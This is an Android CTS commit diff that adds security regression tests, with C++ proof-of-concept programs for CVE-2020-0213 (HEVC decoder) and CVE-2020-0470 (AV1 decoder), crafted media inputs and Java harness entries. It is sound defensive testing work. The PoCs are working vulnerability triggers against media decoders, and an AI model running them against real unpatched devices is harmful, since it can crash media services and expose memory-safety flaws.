summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorTreeHugger Robot <treehugger-gerrit@google.com>2020-11-19 23:58:18 +0000
committerAndroid (Google) Code Review <android-gerrit@google.com>2020-11-19 23:58:18 +0000
commitcbebc04306c4536cf971eb93b782ff272e6a3ced (patch)
tree56dda556eed6d346f8f48195f2edfb73c7220466
parent10051718486ea6fcd8507a8fb3482d3c321dbae9 (diff)
parentb21d2c6e3f616aa28b3e289476fe680a0b357922 (diff)
downloadcts-cbebc04306c4536cf971eb93b782ff272e6a3ced.tar.gz
Merge changes I4071f072,I535d72f3 into rvc-dev
* changes: [RESTRICT AUTOMERGE] CTS test for Android security b/143464314 [RESTRICT AUTOMERGE] CTS test for Android security b/166268541
-rw-r--r--hostsidetests/securitybulletin/res/cve_2020_0213.hevcbin0 -> 377 bytes
-rw-r--r--hostsidetests/securitybulletin/res/cve_2020_0213_info.txt2
-rw-r--r--hostsidetests/securitybulletin/res/cve_2020_0470.mp4bin0 -> 72 bytes
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/Android.bp30
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/poc.cpp482
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/Android.bp35
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/poc.cpp131
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java27
8 files changed, 707 insertions, 0 deletions
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0213.hevc b/hostsidetests/securitybulletin/res/cve_2020_0213.hevc
new file mode 100644
index 00000000000..f34f874aeae
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0213.hevc
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0213_info.txt b/hostsidetests/securitybulletin/res/cve_2020_0213_info.txt
new file mode 100644
index 00000000000..0dde4a859f1
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0213_info.txt
@@ -0,0 +1,2 @@
+73 32 0
+304 0 33333
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0470.mp4 b/hostsidetests/securitybulletin/res/cve_2020_0470.mp4
new file mode 100644
index 00000000000..d77b2f353c4
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0470.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/Android.bp
new file mode 100644
index 00000000000..1a0726579e1
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/Android.bp
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0213",
+ defaults: [
+ "cts_hostsidetests_securitybulletin_defaults",
+ "libcodec2-hidl-client-defaults",
+ ],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libcodec2_client",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/poc.cpp
new file mode 100644
index 00000000000..30e22d4901c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/poc.cpp
@@ -0,0 +1,482 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <C2AllocatorIon.h>
+#include <C2Buffer.h>
+#include <C2BufferPriv.h>
+#include <C2Config.h>
+#include <C2Debug.h>
+#include <codec2/hidl/client.h>
+#include <gui/BufferQueue.h>
+#include <gui/IConsumerListener.h>
+#include <gui/IProducerListener.h>
+
+#include <chrono>
+#include <condition_variable>
+#include <fstream>
+#include <iostream>
+
+#include "../includes/common.h"
+
+using android::C2AllocatorIon;
+using std::chrono_literals::operator""ms;
+
+#define MAXIMUM_NUMBER_OF_RETRIES 20
+#define QUEUE_TIMEOUT 400ms
+#define MAXIMUM_NUMBER_OF_INPUT_BUFFERS 8
+#define ALIGN(_sz, _align) ((_sz + (_align - 1)) & ~(_align - 1))
+
+void workDone(const std::shared_ptr<android::Codec2Client::Component>& component,
+ std::unique_ptr<C2Work>& work, std::list<uint64_t>& flushedIndices,
+ std::mutex& queueLock, std::condition_variable& queueCondition,
+ std::list<std::unique_ptr<C2Work>>& workQueue, bool& eos, bool& csd,
+ uint32_t& framesReceived);
+
+struct FrameInfo {
+ int bytesCount;
+ uint32_t flags;
+ int64_t timestamp;
+};
+
+class LinearBuffer : public C2Buffer {
+ public:
+ explicit LinearBuffer(const std::shared_ptr<C2LinearBlock>& block)
+ : C2Buffer({block->share(block->offset(), block->size(), ::C2Fence())}) {}
+
+ explicit LinearBuffer(const std::shared_ptr<C2LinearBlock>& block, size_t size)
+ : C2Buffer({block->share(block->offset(), size, ::C2Fence())}) {}
+};
+
+/*
+ * Handle Callback functions onWorkDone(), onTripped(),
+ * onError(), onDeath(), onFramesRendered()
+ */
+struct CodecListener : public android::Codec2Client::Listener {
+ public:
+ CodecListener(
+ const std::function<void(std::list<std::unique_ptr<C2Work>>& workItems)> fn = nullptr)
+ : callBack(fn) {}
+ virtual void onWorkDone(const std::weak_ptr<android::Codec2Client::Component>& comp,
+ std::list<std::unique_ptr<C2Work>>& workItems) override {
+ (void)comp;
+ if (callBack) {
+ callBack(workItems);
+ }
+ }
+
+ virtual void onTripped(
+ const std::weak_ptr<android::Codec2Client::Component>& comp,
+ const std::vector<std::shared_ptr<C2SettingResult>>& settingResults) override {
+ (void)comp;
+ (void)settingResults;
+ }
+
+ virtual void onError(const std::weak_ptr<android::Codec2Client::Component>& comp,
+ uint32_t errorCode) override {
+ (void)comp;
+ (void)errorCode;
+ }
+
+ virtual void onDeath(const std::weak_ptr<android::Codec2Client::Component>& comp) override {
+ (void)comp;
+ }
+
+ virtual void onInputBufferDone(uint64_t frameIndex, size_t arrayIndex) override {
+ (void)frameIndex;
+ (void)arrayIndex;
+ }
+
+ virtual void onFrameRendered(uint64_t bufferQueueId, int32_t slotId,
+ int64_t timestampNs) override {
+ (void)bufferQueueId;
+ (void)slotId;
+ (void)timestampNs;
+ }
+ std::function<void(std::list<std::unique_ptr<C2Work>>& workItems)> callBack;
+};
+
+class Codec2VideoDecHidlTestBase {
+ public:
+ bool SetUp() {
+ mClient = getClient();
+ if (!mClient) {
+ return false;
+ }
+ mListener.reset(new CodecListener(
+ [this](std::list<std::unique_ptr<C2Work>>& workItems) { handleWorkDone(workItems); }));
+ if (!mListener) {
+ return false;
+ }
+ mComponent = android::Codec2Client::CreateComponentByName(mComponentName.c_str(), mListener,
+ &mClient);
+ if (!mComponent) {
+ return false;
+ }
+ for (int i = 0; i < MAXIMUM_NUMBER_OF_INPUT_BUFFERS; ++i) {
+ mWorkQueue.emplace_back(new C2Work);
+ }
+ std::shared_ptr<C2AllocatorStore> store = android::GetCodec2PlatformAllocatorStore();
+ if (store->fetchAllocator(C2AllocatorStore::DEFAULT_LINEAR, &mLinearAllocator) != C2_OK) {
+ return false;
+ }
+ mLinearPool = std::make_shared<C2PooledBlockPool>(mLinearAllocator, ++mBlockPoolId);
+ if (!mLinearPool) {
+ return false;
+ }
+ mEos = false;
+ mHasVulnerability = false;
+ mTimestampUs = 0u;
+ mWorkResult = C2_OK;
+ mFramesReceived = 0;
+ return true;
+ }
+
+ ~Codec2VideoDecHidlTestBase() {
+ if (mComponent != nullptr) {
+ mComponent->release();
+ mComponent = nullptr;
+ }
+ }
+
+ std::shared_ptr<android::Codec2Client> getClient() {
+ auto instances = android::Codec2Client::GetServiceNames();
+ for (std::string instance : instances) {
+ std::shared_ptr<android::Codec2Client> client =
+ android::Codec2Client::CreateFromService(instance.c_str());
+ std::vector<C2Component::Traits> components = client->listComponents();
+ for (C2Component::Traits traits : components) {
+ if (instance.compare(traits.owner)) {
+ continue;
+ }
+ if (traits.domain == DOMAIN_VIDEO && traits.kind == KIND_DECODER &&
+ mComponentName.compare(traits.name)) {
+ return android::Codec2Client::CreateFromService(
+ instance.c_str(),
+ !bool(android::Codec2Client::CreateFromService("default", true)));
+ }
+ }
+ }
+ return nullptr;
+ }
+
+ void checkBufferOK(std::unique_ptr<C2Work>& work) {
+ const C2GraphicView output =
+ work->worklets.front()->output.buffers[0]->data().graphicBlocks().front().map().get();
+ uint8_t* uPlane = const_cast<uint8_t*>(output.data()[C2PlanarLayout::PLANE_U]);
+ uint8_t* vPlane = const_cast<uint8_t*>(output.data()[C2PlanarLayout::PLANE_V]);
+ const uint8_t ul[] = {109, 109, 109, 109, 109, 109, 109};
+ const uint8_t vl[] = {121, 121, 121, 121, 121, 121, 121};
+ const uint8_t ur[] = {114, 114, 120, 120, 122, 127, 127};
+ const uint8_t vr[] = {126, 121, 123, 121, 123, 126, 126};
+ if (!memcmp(uPlane - 7, ul, 7) && !memcmp(vPlane - 7, vl, 7) &&
+ !memcmp(uPlane + 1, ur, 7) && !memcmp(vPlane + 1, vr, 7)) {
+ mHasVulnerability |= true;
+ }
+ }
+
+ // Config output pixel format
+ bool configPixelFormat(uint32_t format) {
+ std::vector<std::unique_ptr<C2SettingResult>> failures;
+ C2StreamPixelFormatInfo::output pixelformat(0u, format);
+
+ std::vector<C2Param*> configParam{&pixelformat};
+ c2_status_t status = mComponent->config(configParam, C2_DONT_BLOCK, &failures);
+ if (status == C2_OK && failures.size() == 0u) {
+ return true;
+ }
+ return false;
+ }
+
+ // callback function to process onWorkDone received by Listener
+ void handleWorkDone(std::list<std::unique_ptr<C2Work>>& workItems) {
+ for (std::unique_ptr<C2Work>& work : workItems) {
+ if (!work->worklets.empty()) {
+ // For decoder components current timestamp always exceeds
+ // previous timestamp if output is in display order
+ mWorkResult |= work->result;
+ bool codecConfig =
+ ((work->worklets.front()->output.flags & C2FrameData::FLAG_CODEC_CONFIG) != 0);
+ if (!codecConfig && !work->worklets.front()->output.buffers.empty()) {
+ checkBufferOK(work);
+ }
+ bool mCsd = false;
+ workDone(mComponent, work, mFlushedIndices, mQueueLock, mQueueCondition, mWorkQueue,
+ mEos, mCsd, mFramesReceived);
+ (void)mCsd;
+ }
+ }
+ }
+
+ const std::string mComponentName = "c2.android.hevc.decoder";
+ bool mEos;
+ bool mHasVulnerability;
+ uint64_t mTimestampUs;
+ int32_t mWorkResult;
+ uint32_t mFramesReceived;
+ std::list<uint64_t> mFlushedIndices;
+
+ C2BlockPool::local_id_t mBlockPoolId;
+ std::shared_ptr<C2BlockPool> mLinearPool;
+ std::shared_ptr<C2Allocator> mLinearAllocator;
+
+ std::mutex mQueueLock;
+ std::condition_variable mQueueCondition;
+ std::list<std::unique_ptr<C2Work>> mWorkQueue;
+
+ std::shared_ptr<android::Codec2Client> mClient;
+ std::shared_ptr<android::Codec2Client::Listener> mListener;
+ std::shared_ptr<android::Codec2Client::Component> mComponent;
+};
+
+// process onWorkDone received by Listener
+void workDone(const std::shared_ptr<android::Codec2Client::Component>& component,
+ std::unique_ptr<C2Work>& work, std::list<uint64_t>& flushedIndices,
+ std::mutex& queueLock, std::condition_variable& queueCondition,
+ std::list<std::unique_ptr<C2Work>>& workQueue, bool& eos, bool& csd,
+ uint32_t& framesReceived) {
+ // handle configuration changes in work done
+ if (work->worklets.front()->output.configUpdate.size() != 0) {
+ std::vector<std::unique_ptr<C2Param>> updates =
+ std::move(work->worklets.front()->output.configUpdate);
+ std::vector<C2Param*> configParam;
+ std::vector<std::unique_ptr<C2SettingResult>> failures;
+ for (size_t i = 0; i < updates.size(); ++i) {
+ C2Param* param = updates[i].get();
+ if (param->index() == C2StreamInitDataInfo::output::PARAM_TYPE) {
+ C2StreamInitDataInfo::output* csdBuffer = (C2StreamInitDataInfo::output*)(param);
+ size_t csdSize = csdBuffer->flexCount();
+ if (csdSize > 0) {
+ csd = true;
+ }
+ } else if ((param->index() == C2StreamSampleRateInfo::output::PARAM_TYPE) ||
+ (param->index() == C2StreamChannelCountInfo::output::PARAM_TYPE) ||
+ (param->index() == C2StreamPictureSizeInfo::output::PARAM_TYPE)) {
+ configParam.push_back(param);
+ }
+ }
+ component->config(configParam, C2_DONT_BLOCK, &failures);
+ assert(failures.size() == 0u);
+ }
+ if (work->worklets.front()->output.flags != C2FrameData::FLAG_INCOMPLETE) {
+ ++framesReceived;
+ eos = (work->worklets.front()->output.flags & C2FrameData::FLAG_END_OF_STREAM) != 0;
+ auto frameIndexIt = std::find(flushedIndices.begin(), flushedIndices.end(),
+ work->input.ordinal.frameIndex.peeku());
+ work->input.buffers.clear();
+ work->worklets.clear();
+ {
+ typedef std::unique_lock<std::mutex> ULock;
+ ULock l(queueLock);
+ workQueue.push_back(std::move(work));
+ if (!flushedIndices.empty() && (frameIndexIt != flushedIndices.end())) {
+ flushedIndices.erase(frameIndexIt);
+ }
+ queueCondition.notify_all();
+ }
+ }
+}
+
+bool decodeNFrames(const std::shared_ptr<android::Codec2Client::Component>& component,
+ std::mutex& queueLock, std::condition_variable& queueCondition,
+ std::list<std::unique_ptr<C2Work>>& workQueue,
+ std::list<uint64_t>& flushedIndices, std::shared_ptr<C2BlockPool>& linearPool,
+ std::ifstream& ifStream, android::Vector<FrameInfo>* Info) {
+ typedef std::unique_lock<std::mutex> ULock;
+ int frameID = 0;
+ int retryCount = 0;
+ while (1) {
+ if (frameID == (int)Info->size()) {
+ break;
+ }
+ uint32_t flags = 0;
+ std::unique_ptr<C2Work> work;
+ // Prepare C2Work
+ while (!work && (retryCount < MAXIMUM_NUMBER_OF_RETRIES)) {
+ ULock l(queueLock);
+ if (!workQueue.empty()) {
+ work.swap(workQueue.front());
+ workQueue.pop_front();
+ } else {
+ queueCondition.wait_for(l, QUEUE_TIMEOUT);
+ ++retryCount;
+ }
+ }
+ if (!work && (retryCount >= MAXIMUM_NUMBER_OF_RETRIES)) {
+ return false; // "Wait for generating C2Work exceeded timeout"
+ }
+ int64_t timestamp = (*Info)[frameID].timestamp;
+ if ((*Info)[frameID].flags) {
+ flags = (1 << ((*Info)[frameID].flags - 1));
+ }
+ if (frameID == (int)Info->size() - 1) {
+ flags |= C2FrameData::FLAG_END_OF_STREAM;
+ }
+
+ work->input.flags = (C2FrameData::flags_t)flags;
+ work->input.ordinal.timestamp = timestamp;
+ work->input.ordinal.frameIndex = frameID;
+ {
+ ULock l(queueLock);
+ flushedIndices.emplace_back(frameID);
+ }
+
+ int size = (*Info)[frameID].bytesCount;
+ char* data = (char*)malloc(size);
+ if (!data) {
+ return false;
+ }
+
+ ifStream.read(data, size);
+ if (ifStream.gcount() != size) {
+ return false;
+ }
+
+ work->input.buffers.clear();
+ auto alignedSize = ALIGN(size, PAGE_SIZE);
+ if (size) {
+ std::shared_ptr<C2LinearBlock> block;
+ if (linearPool->fetchLinearBlock(alignedSize,
+ {C2MemoryUsage::CPU_READ, C2MemoryUsage::CPU_WRITE},
+ &block) != C2_OK) {
+ return false;
+ }
+ if (!block) {
+ return false;
+ }
+
+ // Write View
+ C2WriteView view = block->map().get();
+ if (view.error() != C2_OK) {
+ return false;
+ }
+ if ((size_t)alignedSize != view.capacity()) {
+ return false;
+ }
+ if (0u != view.offset()) {
+ return false;
+ }
+ if ((size_t)alignedSize != view.size()) {
+ return false;
+ }
+
+ memcpy(view.base(), data, size);
+
+ work->input.buffers.emplace_back(new LinearBuffer(block, size));
+ free(data);
+ }
+ work->worklets.clear();
+ work->worklets.emplace_back(new C2Worklet);
+ std::list<std::unique_ptr<C2Work>> items;
+ items.push_back(std::move(work));
+
+ // DO THE DECODING
+ if (component->queue(&items) != C2_OK) {
+ return false;
+ }
+ ++frameID;
+ retryCount = 0;
+ }
+ return true;
+}
+
+// Wait for all the inputs to be consumed by the plugin.
+void waitOnInputConsumption(std::mutex& queueLock, std::condition_variable& queueCondition,
+ std::list<std::unique_ptr<C2Work>>& workQueue,
+ size_t bufferCount = MAXIMUM_NUMBER_OF_INPUT_BUFFERS) {
+ typedef std::unique_lock<std::mutex> ULock;
+ uint32_t queueSize;
+ uint32_t retryCount = 0;
+ {
+ ULock l(queueLock);
+ queueSize = workQueue.size();
+ }
+ while ((retryCount < MAXIMUM_NUMBER_OF_RETRIES) && (queueSize < bufferCount)) {
+ ULock l(queueLock);
+ if (queueSize != workQueue.size()) {
+ queueSize = workQueue.size();
+ retryCount = 0;
+ } else {
+ queueCondition.wait_for(l, QUEUE_TIMEOUT);
+ ++retryCount;
+ }
+ }
+}
+
+// Populate Info vector and return number of CSDs
+int32_t populateInfoVector(std::string info, android::Vector<FrameInfo>* frameInfo) {
+ std::ifstream eleInfo;
+ eleInfo.open(info);
+ if (!eleInfo.is_open()) {
+ return -1;
+ }
+ int32_t numCsds = 0;
+ int32_t bytesCount = 0;
+ uint32_t flags = 0;
+ uint32_t timestamp = 0;
+ while (1) {
+ if (!(eleInfo >> bytesCount)) {
+ break;
+ }
+ eleInfo >> flags;
+ eleInfo >> timestamp;
+ bool codecConfig = flags ? ((1 << (flags - 1)) & C2FrameData::FLAG_CODEC_CONFIG) != 0 : 0;
+ if (codecConfig) {
+ ++numCsds;
+ }
+ frameInfo->push_back({bytesCount, flags, timestamp});
+ }
+ eleInfo.close();
+ return numCsds;
+}
+
+#define RETURN_FAILURE(condition) \
+ if ((condition)) { \
+ return EXIT_FAILURE; \
+ }
+
+int main(int argc, char** argv) {
+ RETURN_FAILURE(argc != 3);
+
+ Codec2VideoDecHidlTestBase handle;
+ RETURN_FAILURE(!handle.SetUp());
+ RETURN_FAILURE(!handle.configPixelFormat(HAL_PIXEL_FORMAT_YCBCR_420_888));
+
+ std::string eleStreamInfo{argv[2]};
+ android::Vector<FrameInfo> Info;
+ RETURN_FAILURE(populateInfoVector(eleStreamInfo, &Info) < 0);
+ RETURN_FAILURE(handle.mComponent->start() != C2_OK);
+
+ std::string eleStream{argv[1]};
+ std::ifstream ifStream;
+ ifStream.open(eleStream, std::ifstream::binary);
+ RETURN_FAILURE(!ifStream.is_open());
+ RETURN_FAILURE(!decodeNFrames(handle.mComponent, handle.mQueueLock, handle.mQueueCondition,
+ handle.mWorkQueue, handle.mFlushedIndices, handle.mLinearPool,
+ ifStream, &Info));
+ // blocking call to ensures application to Wait till all the inputs are
+ // consumed
+ if (!handle.mEos) {
+ waitOnInputConsumption(handle.mQueueLock, handle.mQueueCondition, handle.mWorkQueue);
+ }
+ ifStream.close();
+ RETURN_FAILURE(handle.mFramesReceived != Info.size());
+ RETURN_FAILURE(handle.mComponent->stop() != C2_OK);
+ RETURN_FAILURE(handle.mWorkResult != C2_OK);
+ if (handle.mHasVulnerability) {
+ return EXIT_VULNERABLE;
+ }
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/Android.bp
new file mode 100644
index 00000000000..1876c60bcf0
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/Android.bp
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0470",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ multilib: {
+ lib32: {
+ suffix: "32",
+ },
+ lib64: {
+ shared_libs: [
+ "libmediandk",
+ ],
+ suffix: "64",
+ },
+ },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/poc.cpp
new file mode 100644
index 00000000000..d434e117f17
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/poc.cpp
@@ -0,0 +1,131 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+#include <media/NdkMediaCodec.h>
+
+#define DEQUEUE_BUFFER_TIMEOUT_MICROSECONDS 1000
+#define TOTAL_TIMEOUT_MICROSECONDS (300 * 1000 * 1000)
+#define FILE_SIZE 72
+#define VIDEO_MAX_WIDTH 176
+#define VIDEO_MAX_HEIGHT 144
+#endif /* _64_BIT */
+
+int main(int argc, char *argv[]) {
+ (void)argc;
+ (void)argv;
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+ if (argc != 2) {
+ return EXIT_FAILURE;
+ }
+
+ FILE *inFile = fopen(argv[1], "rb");
+ if (!inFile) {
+ return EXIT_FAILURE;
+ }
+ AMediaCodec *codec;
+ media_status_t status;
+ int64_t inActiveTime = 0ll;
+ bool isEncoder = false;
+
+ codec = AMediaCodec_createCodecByName("c2.android.av1-aom.decoder");
+ if (!codec) {
+ fclose(inFile);
+ return EXIT_FAILURE;
+ }
+ /* Set Format */
+ AMediaFormat *format = AMediaFormat_new();
+ if (!format) {
+ fclose(inFile);
+ AMediaCodec_delete(codec);
+ return EXIT_FAILURE;
+ }
+ AMediaFormat_setString(format, AMEDIAFORMAT_KEY_MIME, "video/av01");
+ AMediaFormat_setInt32(format, AMEDIAFORMAT_KEY_MAX_INPUT_SIZE, FILE_SIZE);
+ AMediaFormat_setInt32(format, AMEDIAFORMAT_KEY_WIDTH, VIDEO_MAX_WIDTH);
+ AMediaFormat_setInt32(format, AMEDIAFORMAT_KEY_HEIGHT, VIDEO_MAX_HEIGHT);
+ AMediaCodec_configure(codec, format, nullptr, nullptr, isEncoder);
+ AMediaCodec_start(codec);
+
+ size_t filePos = 0;
+ bool inputEOS = false;
+ while (inActiveTime < TOTAL_TIMEOUT_MICROSECONDS) {
+ /* Queue input data */
+ if (!inputEOS) {
+ uint32_t bufferFlags = 0;
+ ssize_t inIdx =
+ AMediaCodec_dequeueInputBuffer(codec, DEQUEUE_BUFFER_TIMEOUT_MICROSECONDS);
+ if (inIdx >= 0) {
+ ssize_t bytesRead = 0;
+ size_t bufSize;
+ uint8_t *buf = AMediaCodec_getInputBuffer(codec, inIdx, &bufSize);
+ if (filePos < FILE_SIZE) {
+ bytesRead = fread(buf, 1, FILE_SIZE, inFile);
+ filePos += FILE_SIZE;
+ fseek(inFile, filePos, SEEK_SET);
+ }
+ if (bytesRead <= 0) {
+ bytesRead = 0;
+ inputEOS = true;
+ bufferFlags |= AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM;
+ }
+ status = AMediaCodec_queueInputBuffer(codec, inIdx, 0, bytesRead, 0, bufferFlags);
+ if (status != AMEDIA_OK) {
+ break;
+ }
+ inActiveTime = 0;
+ } else if (inIdx == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
+ inActiveTime += DEQUEUE_BUFFER_TIMEOUT_MICROSECONDS;
+ } else {
+ break;
+ }
+ }
+ /* Dequeue output */
+ AMediaCodecBufferInfo info;
+ ssize_t outIdx =
+ AMediaCodec_dequeueOutputBuffer(codec, &info, DEQUEUE_BUFFER_TIMEOUT_MICROSECONDS);
+ if (outIdx == AMEDIACODEC_INFO_OUTPUT_FORMAT_CHANGED ||
+ outIdx == AMEDIACODEC_INFO_OUTPUT_BUFFERS_CHANGED) {
+ inActiveTime = 0;
+ } else if (outIdx >= 0) {
+ status = AMediaCodec_releaseOutputBuffer(codec, outIdx, false);
+ if (status != AMEDIA_OK) {
+ break;
+ }
+ if (info.flags & AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM) {
+ break;
+ }
+ inActiveTime = 0;
+ } else if (outIdx == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
+ inActiveTime += DEQUEUE_BUFFER_TIMEOUT_MICROSECONDS;
+ } else {
+ break;
+ }
+ }
+ AMediaFormat_delete(format);
+ AMediaCodec_stop(codec);
+ AMediaCodec_delete(codec);
+ fclose(inFile);
+#endif /* _64_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
index 863297b679f..d62b0869331 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -505,6 +505,33 @@ public class TestMedia extends SecurityTestCase {
******************************************************************************/
/**
+ * b/143464314
+ * Vulnerability Behaviour: SIGSEGV in self / EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2020-10")
+ @Test
+ public void testPocCVE_2020_0213() throws Exception {
+ String inputFiles[] = {"cve_2020_0213.hevc", "cve_2020_0213_info.txt"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0213",
+ AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1],
+ inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+
+ /**
+ * b/166268541
+ * Vulnerability Behaviour: SIGSEGV in media.swcodec
+ */
+ @SecurityTest(minPatchLevel = "2020-12")
+ @Test
+ public void testPocCVE_2020_0470() throws Exception {
+ String inputFiles[] = {"cve_2020_0470.mp4"};
+ String processPatternStrings[] = {"media\\.swcodec"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0470",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice(),
+ processPatternStrings);
+ }
+
+ /**
* b/120426980
* Vulnerability Behaviour: SIGABRT in self
*/